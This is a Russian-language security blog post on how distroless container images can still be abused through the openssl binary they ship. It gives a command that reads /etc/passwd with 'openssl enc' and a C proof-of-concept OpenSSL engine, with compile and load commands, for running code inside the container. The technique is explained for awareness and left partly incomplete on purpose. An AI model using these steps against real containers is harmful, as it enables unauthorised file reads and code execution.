Эксплуатация distroless контейнеров
Distroless - это лучшая практика, которая сформировалась и используется в Google и других технологических гигантах. Сам концепт distroless образов нацелен на то, чтобы ограничить содержимое среды для запуска приложения в контейнере. В таком контейнере обычно нет ничего кроме самого приложения и зависимостей, которые нужны для его работы. Это позволяет не только уменьшить размер образа, но и сделать контейнер более безопасным, за счёт отсутствия в нём инструментов, которые обычно используются злоумышленниками для эксплуатации в контейнерных средах
Получаем, что
- Размер самого маленького distroless образа
gcr.io/distroless/static-debian11
меньшеalpine
примерно в три раза. ~2.5 MB против ~7.8 MB - Отсутствие пакетного менеджера, с помощью которого можно доставить нужное ПО; утилит, которые находятся в составе busybox; других системных утилит
- Сканирование с помощью инструмента Aqua Secutiry для выполнения SCA trivy показало, что
alpine 3.20.0
имеет несколько уже исправленных брешей типа medium в компонентах busybox, busybox-binsh, libcrypto3, libssl3 и ssl_client. В то время как сканированиеgcr.io/distroless/static-debian11 (debian 11.9)
показало результатыUNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0.
Чем сложнее и больше система, тем больше вероятность наличия в ней уязвимостей 😁
Помимо реализации distroless от Google, есть также другой интересный проект - Slim Toolkit, который использует несколько иной подход. После сборки совершенно обычного контейнера, утилита запускает его и запоминает какие файлы и системные вызовы были использованы. После завершения этого процесса она копирует все затронутые файлы в новый контейнер, создаёт профили безопасности для AppArmor и SecComp. На выходе должен получиться маленький безопасный контейнер
Узнать является ли ваш образ distroless можно тут
К чему я это всё? Distroless контейнеры не такие неприступные, как кажутся на первый взгляд. Площадь для атаки всё-таки есть. Плацдармом является пакет OpenSSL в базовом образе
Часть скрипта на bazel, благодаря которому пакет OpenSSL попадает в базовый образ:
BASE_DISTRO_DEBS = {
"debian11": [
"libssl1.1",
"openssl",
],
"debian12": [
"libssl3",
],
}
После установки данный пакет предоставляет два файла: /usr/bin/c_rehash
и нужный для эксплуатации /usr/bin/openssl
Запомнили эту информацию? Теперь перейдём к сценарию эксплуатации
Запустите контейнер с помощью Docker из образа gcr.io/distroless/nodejs
и передайте ему для теста произвольный код на JS, который будет создавать какую-либо активность в контейнере какое-то время и не позволит ему умереть сразу же после запуска:
sudo docker run -d --rm --name my-distroless gcr.io/distroless/nodejs -e 'setTimeout(() => console.log("Done"), 99999999)'
Если звёзды сошлись на небе, то после выполнения docker ps вы увидите, что на Docker Engine был запущен нужный контейнер
Моделирование ситуации:
Представьте, что вы злоумышленник и нашли, например, какой-нибудь вероятно уязвимый параметр на веб-сайте. В надежде, что вы одержали победу над системой, пробуете получить вывод какой-нибудь команды по типу ps
или uptime
sudo docker exec -it my-distroless uname
И получаете
OCI runtime exec failed: exec failed: unable to start container process: exec: "uname": executable file not found in $PATH: unknown
Что делать? Как быть? Спокойствие. Вы попали в distroless контейнер! Тут нет ни оболочки командной строки(bash, sh, etc), ни системных утилит. Даже если у вас получилось проникнуть в оболочку, то дальнейшая эксплуатация вряд ли будет возможна ввиду отсутствия даже базовых утилит
P.S. Случай, когда в distroless контейнере реально может находиться шелл, возможен, поскольку иногда под distroless подразумевают golden или base image
Минимальный Proof-Of-Concept:
Нет sh, curl, cat, но зато есть openssl. Что с ним делать? Как минимум, с помощью одной из его функций enc можно читать системные файлы:
sudo docker exec -it my-distroless openssl enc -in /etc/passwd
Неплохо?
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
Но хочется чего-то большего, чем обычное чтение файлов. Например, выполнение произвольного кода
Для этого предварительно необходимо поставить пакет libssl-dev
в систему и скомпилировать следующий код на С, который я написал в качестве минимального PoC:
#include <openssl/engine.h>
#include <sys/utsname.h>
static int bind(ENGINE *e, const char *id) {
struct utsname buffer;
errno = 0;
if(uname(&buffer) < 0)
{
perror("uname");
exit(EXIT_FAILURE);
}
printf("system name = %s\n", buffer.sysname);
printf("node name = %s\n", buffer.nodename);
printf("release = %s\n", buffer.release);
printf("version = %s\n", buffer.version);
printf("machine = %s\n", buffer.machine);
return EXIT_SUCCESS;
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
Этот код использует библиотеку utsname.h
, для того чтобы вывести на экран некоторую минимальную информацию о системе. Скомпилируйте этот код:
gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o
На выходе должен получиться 64 битный ELF Shared Object stripped (эльф стриптизёр) - hostname.so
Чтобы убедиться в работоспособности выполните следующую команду на хосте:
openssl engine $PWD/hostname.s
На экран должна посыпаться информация о системе
Теперь этот объект можно занести в distroless контейнер с помощью функции enc в openssl и кодирования, например, в base64 для удобной транспортировки содержимого
Также, в качестве меры предосторожности, чтобы защититься от мамкиных скриптеров, я оставляю инструкцию не полностью детализированной 🖕
Вывод: Как можно понять из поста, наличие openssl в контейнере может позволить читать данные или даже занести какой-то свой файл и после исполнить его
На затравку:
Disclaimer: Автор сайта не несёт ответственность за неправомерные действия, совершенные на основе изложенного контента
Также этот пост можно посмотреть в телеграм канале Unauth Papaya в двух частях:
- 1 часть - https://t.me/unauth_papaya/5
- 2 часть - https://t.me/unauth_papaya/6